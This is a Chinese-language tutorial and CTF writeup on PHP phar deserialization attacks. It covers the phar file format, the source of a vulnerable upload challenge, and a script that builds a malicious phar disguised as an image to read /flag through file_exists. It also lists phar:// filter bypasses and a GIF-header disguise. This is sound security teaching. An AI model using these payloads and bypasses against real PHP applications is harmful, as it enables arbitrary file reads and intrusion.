phar 反序列化
2022-09-19 14:14:42

前言

在 Blackhat2018,来自 Secarma 的安全研究员 Sam Thomas 讲述了一种攻击 PHP 应用的新方式,利用这种方法可以在不使用 unserialize()函数的情况下触发 PHP 反序列化漏洞

在使用 phar://协议读取文件时,文件会被解析成 phar( http://php.net/manual/zh/intro.phar.php )解析过程中会触发 php_var_unserialize() 函数,造成反序列化

phar 反序列化即在文件系统函数(file_exists()is_dir() 等)参数可控的情况下,配合 phar:// 伪协议,可以不依赖 unserialize() 直接进行反序列化操作

phar 文件结构

phar 文件主要包含三至四个部分

a stub

可以理解为一个标志,格式为 xxx<?php xxx; __HALT_COMPILER();?>,前面内容不限,但必须以 __HALT_COMPILER();?> 来结尾,否则 phar 扩展将无法识别这个文件为 phar 文件

a manifest describing the contents

phar 文件中被压缩的文件的一些信息,其中 Meta-data 部分的信息会以反序列化的形式储存,这里就是漏洞利用的关键点

the file contents

被压缩的文件内容,在没有特殊要求的情况下,这个被压缩的文件内容可以随便写的,因为我们利用这个漏洞主要是为了触发它的反序列化

a signature for verifying Phar integrity

验证 phar 完整性的签名(仅限 Phar 文件格式)放在文件末尾,该部分可选

Pasted-image-20220919232635.png

生成 phar 文件

首先要在 php.ini 中设置 phar.readonly=Off,否在无法生成 phar 文件

一般生成 phar 文件的方法如下

<?php
    class Test{
        public $test="test";
    }
    @unlink("test.phar");
    $phar = new Phar("test.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new Test();
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    $phar->stopBuffering();    //签名自动计算
?>

生成的 phar 文件结构,可以看到 Meta-data 的内容是以反序列的形式储存的

Pasted-image-20220919234800.png

例题:2022 第五空间 5_web_BaliYun

存在 www.zip 备份文件,下载后审计

关键代码如下

class.php

<?php
class upload{
    public $filename;
    public $ext;
    public $size;
    public $Valid_ext;

    public function __construct(){
        $this->filename = $_FILES["file"]["name"];
        $this->ext = end(explode(".", $_FILES["file"]["name"]));
        $this->size = $_FILES["file"]["size"] / 1024;
        $this->Valid_ext = array("gif", "jpeg", "jpg", "png");
    }

    public function start(){
        return $this->check();
    }

    private function check(){
        if(file_exists($this->filename)){
            return "Image already exsists";
        }elseif(!in_array($this->ext, $this->Valid_ext)){
            return "Only Image Can Be Uploaded";
        }else{
            return $this->move();
        }
    }

    private function move(){
        move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".$this->filename);
        return "Upload succsess!";
    }

    public function __wakeup(){
        echo file_get_contents($this->filename);
    }
}

class check_img{
    public $img_name;
    public function __construct(){
        $this->img_name = $_GET['img_name'];
    }

    public function img_check(){
        if(file_exists($this->img_name)){
            return "Image exsists";
        }else{
            return "Image not exsists";
        }
    }
}

截取自 index.php

<?php
include("class.php");
if(isset($_GET['img_name'])){
    $down = new check_img();
    echo $down->img_check();
}
if(isset($_FILES["file"]["name"])){
    $up = new upload();
    echo $up->start();
}
?>

可以看到 upload 类的 __wakeup 方法中可以任意读取文件,另外在 check_img 类的 img_check 方法中调用了 file_exists 方法,且 this->img_name 可控,所有可以通过 phar:// 伪协议触发 phar 反序列化

生成恶意 phar 文件

通过 ?img_name=/flag 已经确定 flag 位于根目录下

<?php

class upload{
    public $filename;
    public $ext;
    public $size;
    public $Valid_ext;
}

$up = new upload();
$up->filename="php://filter/read=convert.base64-encode/resource=/flag";

$exp = new Phar("base.phar");
$exp->startBuffering();
$exp->setStub("<?php __HALT_COMPILER(); ?>");
$exp->setMetadata($up);
$exp->addFromString("text.txt", "test");
$exp->stopBuffering();

修改生成的 phar 文件后缀为 png 后上传,通过 ?img_name=phar://upload/base.png 即可读取到 flag

Pasted-image-20220920000514.png

trick

过滤 phar://协议

  • compress.bzip2://phar://

  • compress.zlib://phar:///

  • php://filter/resource=phar://

伪装成其他文件类型

php识别phar文件是通过其文件头的stub,更确切一点来说是__HALT_COMPILER();?>这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件

添加gif文件头

<?php
    class Test{
        public $test="test";
    }
    @unlink("test.phar");
    $phar = new Phar("test.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("GIF89a <?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new Test();
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    $phar->stopBuffering();    //签名自动计算
?>

Pasted-image-20220920000855.png

参考

https://xz.aliyun.com/t/3692

https://cloud.tencent.com/developer/article/1378892

https://blog.csdn.net/qq_42181428/article/details/100995404

https://paper.seebug.org/988/

https://www.php.net/manual/en/phar.fileformat.phar.php